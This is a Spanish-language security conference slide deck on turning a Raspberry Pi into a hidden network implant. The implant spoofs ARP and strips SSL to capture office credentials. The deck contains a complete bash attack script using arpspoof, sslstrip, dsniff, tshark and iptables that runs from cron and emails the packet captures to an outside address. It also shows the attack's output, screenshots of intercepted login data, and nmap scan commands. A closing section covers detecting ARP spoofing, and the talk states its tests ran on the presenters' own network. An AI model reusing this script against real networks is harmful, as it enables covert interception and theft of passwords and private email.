HACK & BEERS

#hbhuesca

Raspberry Pi "Escuchando la red"

Manuel Camacho Ceña





Sobre mí

- Security Consultant SVT Cloud Services
- Tec. Superior Admón. Sistemas Informáticos.
- Tec. Superior Telecomunicaciones.
- Técnico en Seguridad de Redes.



- Colaborador/ Webadmin de www.hacking-etico.com desde 2010
- Organizador y Ponente Hack&Beers
- Community Manager en la Web 2.0
- 🈏 @ManoloGaritmo // @Hacking_etico
- www.svtcloud.com // www.hacking-etico.com



Rasp... ¿Qué?

- "Es un ordenador de placa reducida o (placa única) (SBC) de bajo coste, desarrollado en Reino Unido por la Fundación Raspberry Pi, con el objetivo de estimular la enseñanza de ciencias de la computación en las escuelas.
- Broadcom BCM2835, que contiene un procesador central (CPU) ARM1176JZF-S a 700 MHz (OC)
- Procesador gráfico (GPU) VideoCore IV
- 512 MiB de memoria RAM (Ver. A => 256 MiB).



Rasp...¿Qué?

Modelo B



Modelo B+





 POC (Prueba de Concepto)
 Configurar este "juguetito" para dejarlo conectado en empresa a auditar para obtener credenciales del gerente.



Rasp...¿Qué? Raspberry Pi





Idea

RASPBERRY LAN (RACK, ROUTER, ETC..) MAIL HOST



iii Ojo !!!

Estas pruebas se han realizado en un entorno controlado y

de nuestra propiedad. En ningún caso se han utilizado redes ajenas para la demostración.

 Es completamente <u>ILEGAL</u> utilizar técnicas de intrusión y/o obtención de contraseñas en redes que no son de nuestra propiedad. De hacerlo incurriríamos en un delito.



Premisas

- Distribución Linux a usar. <u>RASPBIAN</u>(basada en Debian).
- Obviaremos la instalación del S.O. (Por tiempo)
- Conexión SSH a IP 192.168.1.200 (Posibilidad HDMI+TECLADO)
- Añadir repositorios:
 - deb http://archive.raspbian.org/raspbian wheezy main contrib non-free
 - deb-src http://archive.raspbian.org/raspbian wheezy main contrib non-free
- sudo apt-get update && sudo apt-get upgrade



Premisas

• sudo apt-get install dsniff –y

• sudo apt-get install tshark –y

• sudo apt-get install ssmtp mailutils mpack

sudo nano /etc/ssmtp/ssmtp.conf



Envío de emails

GNU nano 2.2.6 File: /etc/ssmtp/ssmtp.conf
Where will the mail seem to come from?
<pre>#rewriteDomain=</pre>
The full hostname
hostname=raspberrypi
<pre># Are users allowed to set their own From: address? # YES - Allow the user to specify their own From: address # NO - Use the system generated From: address #FromLineOverride=YES</pre>
AuthUser= @gmail.com
AuthPass= FromLineOverride=YES
mailhub=smtp.gmail.com:587
UseSTARTTLS=YES
[^] G Get Help [^] O WriteOut [^] R Read File [^] Y Prev Page [^] K Cut Text [^] C Cur Pos [^] X Exit [^] J Justify [^] W Where Is [^] V Next Page [^] U UnCut Text [^] T To Spell



Prueba de envío & recepción

pi@raspberrypi /tmp	echo	"Probando	el	envio	de	correo"	I	mail	-3	"Prueba"	
Ghotmail.	com										

11年1日回	DE	ASUNTO	RECIBIDO 🔍	TAMAÑO
	@gmail.com	"Prueba"	ma. 04/11/2014 20:30	16 KB
	"Probando el envio de correo" <fin></fin>			



"Probando el envio de correo"



Mensaie

svt.txt (136 B)

sudo nano /home/pi/svt.txt (CTRL+O – CTRL+X)

mpack -s "test" /home/pi/svt.txt micorreo@mail.com

🗅 🖾 🖉 🛛 DE		ASUNTO	RECIBIDO
Fecha: Hoy			
Û	@gmail.com	test	ma. 04/11/2014 20:5
🕰 Responder 🛛 🛱 Res	ponder a todos 🛽 🛚	Reenviar	
ma. 04	/11/2014 20:57		



Instalar "Sniffer"

•Capturando paquetes con:

tshark -nni eth0 -a filesize:20 -a files:2 -w nombrefichero.pcap



Posibles errores

tshark: Lua: Error during loading:

[string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled
• sudo nano /usr/share/wireshark/init.lua

- You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - Set disable lua to true to disable Lua support. disable lua = true if disable lua then return end -- If set and we are running with special privileges this setting -- tells whether scripts other than this one are to be run. run user scripts when superuser = false disable potentialy harmful lua functions when running superuser if running superuser then local disabled lib = {}



- Creación de un script para automatizar el proceso.
- Añadir script al CRON para que sea autónomo.
 30 08 * * * root /home/pi/miscript.sh



Ejemplo de script

```
#!/bin/bash
echo "Iniciando la secuencia..."
sleep 1
echo "Ataque de spoofing ....."
sleep 1
sudo arpspoof -1 eth0 -t 192.168.1.103 192.168.1.1 &
sleep 1
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080 &
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 8080 &
sudo urlsnarf -1 eth0 &
echo "Enrutando con la avuda de IPTABLES"
sleep 2
sudo ssistrip -a -k -f -1 8080 &
sleep 5
echo "SSL Strip funcionando"
####Comprobance al existe la carpeta capturas para no saturar el espacio
if [ -d /home/pi/mitm/capturas ]: then
        echo "Existe carpeta capturas"
        sleep 1
        echo "Limpiando otras capturas para evitar consumo de espacio"
        sudo rm -R /home/pi/mitm/capturas
        sleep 1
        echo "Borrado exitoso"
        sleep 2
        echo "Se procede a capturar el tráfico en un fichero de captura"
        sudo mkdir /home/pi/mitm/capturas
        sleep 1
        echo "Lanzando daniff ...."
```



Ejemplo de script

else

```
sudo daniff -i eth0 &
echo "Capturando paquetes ... "
sudo tshark -nni eth0 -a filesize:1000 -a files:2 -w /home/pi/mitm/capturas/capturasdered.pcap
sudo tar -zcvf capturas.tar.gz /home/pi/mitm/capturas/
sudo mpack -s "Capturas realizadas" /home/pi/mitm/capturas.tar.gz ______ Bhotmail.com
sleep 5
sudo killall arpspoof
sudo killall sslstrip
sudo mkdir /home/pi/mitm/capturas
sleep 2
echo "Lanzando deniff ...."
sudo daniff -i eth0 &
sleep 2
echo "Se procede a capturar el tráfico en un fichero de captura"
sudo tshark -nni eth0 -a filesize: 1000 -a files: 2 -w /home/pi/mitm/capturas/capturasdered.pcap
sleep 5
sudo tar -zcvf capturas.tar.gz /home/pi/mitm/capturas/
sudo mpack -s "Capturas realizadas" /home/pi/mitm/capturas.tar.gz _______ 8hotmail.com
sleep 5
sudo killall arpspoof
sudo killall sslstrip
£1
```



Información enviada

i@raspberrypi ~/mitm \$ sudo ./lanzarataque.sh

Iniciando la secuencia...

Ataque de spoofing.....

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41

urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128]

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41

sslstrip 0.9 by Moxie Marlinspike running...

SSL Strip funcionando

Existe carpeta capturas

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 Limpiando otras capturas para evitar consumo de espacio

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 Borrado exitoso

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 Se procede a capturar el tráfico en un fichero de captura

Lanzando dsniff ...

Capturando paguetes...

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 dsniff: listening on eth0

```
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41
b8:27:eb:c9:de:41 1c:75:8:45:5f:ce:0806 42: arp reply 192.168.1.1
```

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41 Capturing on eth0

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41

tar: Eliminando la `/' inicial de los nombres

home/pi/mitm/capturas/

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0 FICHERO PCAP ENVIADO CORRECTAMENTE

/home/pi/mitm/capturas/capturasdered_00002_20141108173043.pcap /home/pi/mitm/capturas/capturasdered_00001_20141108173043.per b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp provide b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806

at b8:27:eb:c9:de:41 108.1.1 is-at b8:27:eb:c9:de:41

b8:27:eb:c9:de:41 1c:75:8:45:5f:ce 0806 42: arp reply 192.168.1.1 is-at b8:27:eb:c9:de:41





A tener en cuenta

- El éxito depende de diversos factores.
- Este ataque ralentiza la red/equipo.
- Se limita el tamaño de la captura y spoofing para no saturar la red.
- El ataque es detectable de ahí también que se lance poco tiempo.
- • Es ILEGAL hacerlo en redes ajenas.



Buscando contraseñas

- Ficheros: pcap y .log
- PCAP => Wireshark
- .LOG => Notepad++







•Búsqueda de patrones concretos

- •Correos (@Hotmail @gmail...)
- Nombres determinantes: "pass" "passwords" "user"
- Filtrado por protocolo: http



Con Wireshark

File Edit View Go Capture Analyze	Statistics Telephony Tools	Internals Halo	
Ene for them to Cabrare Buside			
	1 4 4 4 6 8 7 1		
Filter: http		✓ Expression	Clear Apply Save
No. Time Source	Destination	Protocol Le	ength Info
332 2.89478400 192.168.1.200 342 2.95397600 192 168 1 200	185.43.181.192	HTTP	508 GET /pub/f1refox/releases/33.0.3/update/win32/es-E5/f1refox-32.0.3-33. 433 GET /2 h=8417dd8284e75e18435d4e9f15cea066 HTTP/1 0
343.2.95940900173.194.78.84	192.168.1.103	HTTP	1291 [TCP ACKed unseen segment] HTTP/1.1 200 OK (image/x-icon)
441 4.45079900 192.168.1.200	173.194.45.181	HTTP	1099 GET /mail/images/cleardot.gif?t=1415458086784 HTTP/1.0
472 4.65231700 173.194.45.18	1 192.168.1.200	HTTP	66 HTTP/1.0 200 OK (GIF89a) (GIF89a) (image/gif)
487 4.69709600 192.168.1.103	95.130.48.160	HTTP	483 GET /private/ajax/Resources/css/axitheme-classic.css HTTP/1.1 483 GET /private/ajax/Resources/css/axitheme-classic-webkit.css HTTP/1.1
490 4.69710600 192.168.1.103	95.130.48.160	нттр	488 GET /private/ajax/Resources/css/axitheme-classic-geckol0plus.css HTTP/
539 5.06900500 192.168.1.200	173.194.45.181	HTTP	1104 GET /mail/gxlu?email=
5/7 5.28520100173.194.45.18	1 192.168.1.200	нттр	1113 GET /mail/oxlu?email
624 5.65194300173.194.45.18	1 197		
628 5.75245900 173.194.45.18	1 19 0 04	oe	ziyoops sg=1aan
651 6.06450800 192.168.1.200 790 7 12885700 192 168 1 200	95 10 60	65	Conn=&ch_eckConne
823 7.30835100 95.130.48.160	19	20	Commenterinecencomme
849 7.44938100 192.168.1.200	95	OT I	ction-&c backadba
884 7.62268500 95.130.48.160	19 6 45	64	mains-vo utubo&Em
990 8. 39329/00192. 108. 1. 103	0 43	ou	marris=yo ucubeaem
E Frame 996: 751 bytes on wire Ethernet II Src: Compairs 45	(6008 b) 0 67	6d	ail= Bom
Internet Protocol Version 4,	Src: 192	74	ail come Daccud
Transmission Control Protocol	I, Src Po	74	all.como Passwu=
Source Port: 50935 (50935)	7 6e	49	% 23&signI
[Stream index: 31]	0 35	45	a Tairia augurine
[TCP Segment Len: 697]	19 25	43	hathicia rasesise
00f0 53 74 35 4e 34 33 4e 4f	4c 4d 44		3%83n&rm_shown=1
0100 4b 33 4c 6d 62 61 55 48	53 65 31		
0120 4d 4d 77 79 30 56 36 41	31 46 44		
0130 32 49 72 54 75 4e 34 4b 0140 45 66 50 7a 47 4a 56 63	56 4c 36 79 4b 59 6b	6e 2IrTu 52 Efezo	yKYkn TG1P
0150 44 62 65 75 44 69 64 6a	48 4c 30 4a 6b 75 56	55 DbeuD	JKUVU
0160 59 4e 62 78 46 6c 42 4e 0170 4e 72 4a 33 6a 39 46 5f	61 6C 34 45 4d 66 4a 49 44 47 35 6d 78 48	39 YNDXF 78 Nr 331	EMT 39 SmxHx
0180 69 6a 30 69 43 4b 48 63	55 33 6e 44 32 79 62	56 ij0ic	D2ybv
0190 42 68 74 43 32 35 33 54 01a0 6d 72 61 6b 39 32 37 6e	62 4d 75 78 65 44 78	75 mrak9	xeDxu
01b0 66 4a 6d 51 4c 45 46 6b	5f 4f 6d 68 54 65 56	79 fJmQL	hTeVy
01d0 57 6e 67 53 79 62 64 57	67 30 76 56 5f 54 6e	55 WT	nu
01e0 46 55 68 35 4b 74 67 4e 01f0 6a 31 43 7a 66 76 32 46	33 78 74 54 79 71 77	52 FUI 74 11C	dwR VET
0200 59 36 79 49 68 4b 65 42	77 68 41 46 79 47 7a	37 Y6y1	yG27
0210 36 44 43 55 4t 57 44 32 0220 6c 4c 73 43 47 4e 67 54	6d 4a 43 4d 61 63 45 48 49 4f 66 6e 7a 43	51 6DCUE 5f 1LSCG	acEQ fnzC
0230 2d 52 41 72 44 38 2d 75	38 57 6c 37 6e 44 42	SF -RAPD	7nb8_
0240 35 70 54 56 56 4C 77 66 0250 75 6b 5f 47 32 48 54 38	42 34 71 77 58 56 58	48 uk_G2H7	A gwXVXH
0260 7a 69 79 51 26 70 73 74	4d 73 67 3d 31 26 64	6e ziyQ&ps	sg=1&dn
0280 63 74 69 6f 6e 3d 26 63	68 65 63 6b 65 64 44	6f ctionel	e bockodbo
0290 6d 61 69 6e 73 3d 79 6f 02a0 61 69 6c 3d 64 65 6c 61	75 74 75 62 65 26 45 70 61 74 75 61 40 67	6d mains=y	/o utube&Em
02b0 61 69 6c 2e 63 6f 6d 26	50 61 73 73 77 64 3d	74 ail.com	& Passwd=
02d0 6e 3d 49 6e 69 63 69 61	72 2b 73 65 73 69 25	43 n-Toici	a r+sesi%
02e0 33 25 42 33 6e 26 72 6d	53 68 6f 77 6e 3d 31	3%B3n&r	m Shown=1
Frame (751 bytes) Reassembled TCP (1971 by	rtes)		



Con Wireshark

4						
<u> </u>						
<u>F</u> ile <u>E</u>	dit <u>V</u> iew	<u>5</u> 0 <u>C</u> apture <u>A</u> nalyz	<u>Statistics</u> Telephony <u>T</u> ools	<u>I</u> nternals <u>H</u> elp		
• •		🗶 📄 🖂 🖉	🖳 🔍 🗢 🔿 🐺 🕹		Q 🔍 🖭	
Filter:	http			✓ Expression	Clear Apply	Jly Save
No.	Lime	Source	Destination	Protocol L	nath Info	
2	7 0.30891	900 192.168.1.2	64.233.167.84	HTTP	1002 GET	/ServiceLogin?service=mail&passive=true&rm=false&continue=http://mail.google.com/mail/&ss=1&scc=1<mpl=defa
4	1 0.39950	000 64.233.167.	34 192.168.1.200	HTTP	447 HTTP	P/1.0 302 Moved Temporarily (text/html)
8	88 1.61153	400 173.194.78.	34 192.168.1.103	HTTP	958 HTTP	P/1.1 302 Moved Temporarily (text/html)
9	0 1.62174	200 192.168.1.1	03 173.194.78.84	HTTP	1032 GET	//ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F&ss=1&scc=1&
39	05 4.69152	100 192.168.1.1	95.130.48.160	HTTP	128 POST	T /?action=login&custom=ajax HTTP/1.1 (application/x-www-form-urlencoded)
40	08 4.7865	000 192.168.1.1	173.194.45.183	HTTP	527 GET	/accounts/ui/avatar_2x.png HTTP/1.1
41	1 4./9450	600 192.168.1.1	1/3.194.45.183	HTTP	525 GET	/accounts/ui/logo_2x.png HTTP/1.1
42	5 5 1 5 2 0 9	400 192.108.1.1	173.194.45.183	HTTP	550 CET	/accounts/ul/logo_strip_zx.png HTP/1.1
	33.13300	200 102 168 1 1	173.194.43.103	нттр	556 CET	/ mages/ cons/u// common/ universat_maguage_set (mgs-c1.pmg file/1.1
50	5 6 12087	200 192 168 1 1	173.194.45.210	нттр	556 GET	/s/opensans/vi/CJ2Recudi HereRequants/bering21/generative/size/rew.woff HTTP/11
7	7 7.63617	600 173, 194, 45,	192,168,1,103	нттр	379 TCP	ACKed unseen semment http://l.1.302 Moved
76	3 7.65894	400 192.168.1.2	00 95.130.48.160	HTTP	578 POST	/ ?action=login&custom=aiax HTTP/1.0 (application/x-www-form-urlencoded)
77	4 7.71611	600 192.168.1.2	74.125.230.56	THE	JII GET	/accounts/ui/logo_strip_2x.png HTTP/1.0
77	5 7.72342	000 192.168.1.2	173.194.45.223	HTTP	507 GET	/accounts/ui/avatar_2x.png HTTP/1.0
77	6 7.73146	200 192.168.1.2	173.194.45.223	HTTP	505 GET	/accounts/ui/logo_2x.png HTTP/1.0
78	30 7.74004	100 95.130.48.1	50 192.168.1.200	HTTP	574 HTTP	P/1.0 303 Moved Temporarily
88	32 8.57719	200 192.168.1.2	00 173.194.45.223	HTTP	539 GET	/images/icons/ui/common/universal_language_settings-21.png HTTP/1.0
89	0 8.63265	200 173.194.45.	192.168.1.200	HTTP	647 HTTP	P/1.0 200 OK (PNG)
⊕ Tra ⊕ Hyp ⊕ Hyp ⊕ HTM 00550 0060 0070 0080 0090 0080 0090 0080 0090 0080 0090 0080 0090 0080 0090 0080 0090 0090 0090 0090 0090 0090 0090 0090 0000 0090 0010 0010 0110 0130 015	nsmissior ertext Tr L Form UF 6c 6f 67 78 20 48 65 6e 74 61 63 63 20 65 73 74 70 3a 66 76 65 74 74 70 3a 67 65 6e 74 76 35 06 74 76 35 07 56 76 76 70 3a 67 67 63 07 75 73 20 4e 67 63 60 74 73 20 4e 66 76 75 75 73 20 4e 65 66 74 73 20 4e 65 66 74 73 20 4e 65 65 71 20 77 65 66 74 72 3a 31 31 6f 0d 0a 65 66 72 72 75 65 73 20 4e 65 66 74 72 20 75 73 20 4e 72 75 73 50 4e 72 75 74 72 74 72 74 75 75 76 75	Control Protocol ansfer Protocol L Encoded: appl 69 6e 26 63 75 54 54 50 2f 31 2d 6c 65 66 67 65 70 74 2d 6c 0d 0a 72 65 66 27 65 70 74 2d 6c 69 6f 6e 38 20 69 6f 6e 38 20 69 6f 6e 38 20 64 65 6e 74 3a 20 64 65 6e 74 3a 20 62 6d 61 69 6c 66 6f 69 66 28 30 77 69 74 68 3a 77 69 74 68 3a 75 65 73 74 06 61 69 65 62 30 62 66 61 69 6c 63 67 69 74 86 3a 75 65 73 74 06 64 66 62 30 65 73 74 06 64 66 62 30 65 73 74 06 65 62 30 65 63 66 65 65 73 65 74 59 66 75 75 33 55 49 66 75 75 33 55 49 66 75 7	73 74 6f 6d 3d 61 6a 22 30 0d 0a 3 6f 6e 24 68 3a 20 37 34 0d 61 6e 67 75 2 3a 20 87 40 61 6e 67 75 2 3a 20 68 6d 61 69 6C 2e 73 76 6d 2f 0d 0a 63 6f 6e 40 65 65 70 20 44 6f 65 6d 2f 0d 0a 63 6f 6e 40 65 65 70 20 44 6f 65 66 27 46 30 22 44 26 56 6e 73 74 57 36 34 27 37 6e 74 63 6e 46 31 0d 0a 68 6f 73 74 26 73 67 24 65 63 31 0d 0a 68 6f 73 74 26 73 67 24 65 66 73 31 0d 0a 68 6f 73 74 26 73 67 24 65 66 74 63 30 58 4d 4c 48 74 74 0a 63 6f 6f 6f 69 65 74 55 06 51 36 33 88 6b	Bit Poencoded 61 login&c 61 login&c 74 x HTTP/ 74 x HTTP/ 78 accept- 74 tp://we 66 cloud_c 66 cloud_c 67 tTil 77 tilla/ 78 webm 74 do 75 webm 74 do 75 do 74 do 75 do 74 do 75 do 76 cd 77 do 74 do 75 do 76 cd 3a Reql 46 Jim 5a /gios51	u stom=aji 1.0coni g th: 74 1 anguage f erer: hi b mail.svi b mail.svi stati stati stati stati stati stati stati stati stati stati stati stati stati stati stati	BO), Seq: 1, Ack: 1, Len: 512 CODECT: C MARSET=U TF-8 Username SVtc loud.com & passwor d= & login Login& omainnam
01c0 01d0 01e0 01f0 0200 0210 0220 0230 0230	70 65 3a 78 2d 77 63 6f 64 54 46 2d 3d 6d 63 6c 6f 75 64 3d 41 3d 4c 6f 65 3d	20 61 70 70 6c 77 77 2d 66 6f 65 64 3b 20 63 38 0d 0a 0d 0a 61 6d 61 63 68 64 2e 63 6f 6d 75 45 57 43 47 67 69 6e 26 64	69 63 61 74 69 6f 6e 72 6d 2d 75 72 6c 65 68 61 72 73 65 74 3d 75 73 65 72 6e 61 6d 6f 25 34 30 73 76 6f 41 62 26 6c 6f 67 69 6f 6d 61 69 6e 6e 61	21 pe: app 6e x-www-f 55 coded: 65 TF-8 63 - 72 loud.co 6e d- 6d =Login& e=	ation, o m-urler c harset=U . username svto m &passwor &login d omainnar	1/ 2n =U tc or in am



Con Notepad++

Archivo Editar (Busca) Vista Codificación Lenguaje Configuración Macro Ejecutar Plugins 🕞 🗁 🖶 🖻 🕞 🎧 踚 🕹 🐚 🌇 Ə CC 🏙 🍢 🤏 啥 🔹 🔂 🧮 🗊 🏾 🌉 🐼	Ventana ?
Buscar Reemplazar Buscar en archivos Mark Buscar Buscar Buscar siguiente Contar Buscar en todos los archivos abiertos Buscar en todos los archivos abiertos Buscar en todos los archivos abiertos Coincidir mayúsculas/minúsculas Cerrar Ocincidir mayúsculas/minúsculas Cerrar Modo de búsqueda Dirección Normal Arriba Extendido (\n, \r, \t, \0, \x) Abajo	
2014-11-08 14:37:09,315 SECURE POST Data (www.facebook.com): lsd=AVrgMecT&email= 2014-11-08 14:37:09,315 SECURE P lsd=AVrgMecT&email=	default_persistent=0&timezone=&lgnrnd=063612_aUSr&lgnjs=n&locale=es_ES OST Data (www.facebook.com): @hotmail.com&pass= &c



Aún hay más...

- •Leer correos recibidos de la cuenta atacada.
- Credenciales a otros servicios contenidas dentro del correo.
- •Leer datos confidenciales (Aunque son nuestros... :P)



Más credenciales

<pre><m:from>!</m:from></pre>
<pre><m:to><![CDATA[Manuel Camacho <mcamacho@svtcloud.com>]]></m:to></pre>
<m:cc><![CDATA[]]></m:cc>
< <u>m:bcc</u> > <u m:bcc>
<pre>/m:replyTo><!--/m:replyTo--></pre>
<m:replytoall><![CDATA[]]></m:replytoall>
<m:subject><![CDATA[Información de <u>su nueva cuenta]]>:subject></m:subject>
<pre><m:snippet><![CDATA[Benvenido! Su cuenta ha sido creada. Su información de acceso es:</pre></td></tr><tr><td>JRL: <u>https://</u>.com</td></tr><tr><td>Login ID:</td></tr><tr><td>Password:</td></tr><tr><td></td></tr><tr><td><pre>(m:MailObject></pre></td></tr><tr><td><pre><m:id>480</m:id></pre></td></tr><tr><td></td></tr><tr><td><pre><m:size>10136</m:size></pre></td></tr><tr><td></td></tr><tr><td><pre><m:from><![CDATA]</pre></td></tr><tr><td><m:to><![CDATA[Miguel Ängel Arroyo <miguel.arroyo@svtcloud.com>]]></m:snippet></pre>
<m:cc><!-- [CDATA[mcamacho@sytcloud.com]]--></m:cc>
<m:bcc><![CDATA[]]></m:bcc>
<pre><m:replyto><!-- [CDATA[</pre--></m:replyto></pre>
<m:replytoall><![CDATA[Miguel Ängel Arroyo <miguel.arroyo@sytcloud.com>]]></m:replytoall>
<pre><m:subject><![CDATA[Re: Cronograma]></m:subject></pre>
<pre><m:snippet><!-- [CDATA[Qk, gracias.</pre--></m:snippet></pre>
duen fin de semana.



0_0





- arp –v para ver las tablas ARP
- Dos ips con misma MAC puede advertir ARP SPOOFING

Giga-Byt_5b:88:16	ARP	192.168.120.30 is at d0:ae:ec:ec
Broadcast	ARP	Who has 192.168.120.30? Tell 192.168.120.22
Broadcast	ARP	Who has 192.168.120.30? Tell 192.168.120.22
CadmusCo_df:30:ee	ARP	192.168.120.30 is at d0:ae:ec:ec===============================
Giga-Byt_5b:88:16	ARP	192.168.120.30 is at 08:00:27:df:
Giga-Byt_5b:88:16	ARP	192.168.120.30 is at 08:00:27:df;



Identificar ataque ARP

- Lentitud de navegación
- Cambio de protocolo https → http





God Job!!





Ideas...

- Añadiendo funcionalidades:
 - Un nmap que nos escanee regularmente la red y nos mande al correo los resultados.
 - Usando modo Insane que analiza la red sin hacer mucho "ruido".

```
root@kali:/home/shodan# nmap -T5 192.168.1.0/24
Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-20 14:56 UTC
Nmap scan report for 192.168.1.1
Host is up (0.0076s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http
MAC Address: 50:67: (ZyXEL Communications)
Nmap scan report for 192.168.1.200
Host is up (0.00019s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (2 hosts up) scanned in 4.25 seconds
```



Complementando

- Añadiendo funcionalidades:
 - Escaneando más de los 1024 puertos que escanea nmap por defecto.

nmap -p 25,80,1000-4000 192.168.1.1

```
root@kali:/home/shodan# nmap -p 25,80,1000-4000 192.168.1.1
Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-20 15:03 UTC
Nmap scan report for 192.168.1.1
Host is up (0.0052s latency).
Not shown: 3002 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 50:67: (ZyXEL Communications)
```

Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds



Complementando

Puertos por los que se están ejecutando determinados servicios.
 nmap -sV -O -p 22,25,3306 192.168.1.39

```
^Croot@kali:/home/shodan# sudo nmap -sV -O -p 22,25,3306 192.168.1.39
Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-20 15:07 UTC
Nmap scan report for 192.168.1.39
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
25/tcp filtered smtp
3306/tcp filtered mysql
MAC Address: 4C:0F: (Hon Hai Precision Ind. Co.)
```



MUCHAS GRACIAS



shutdown – h now



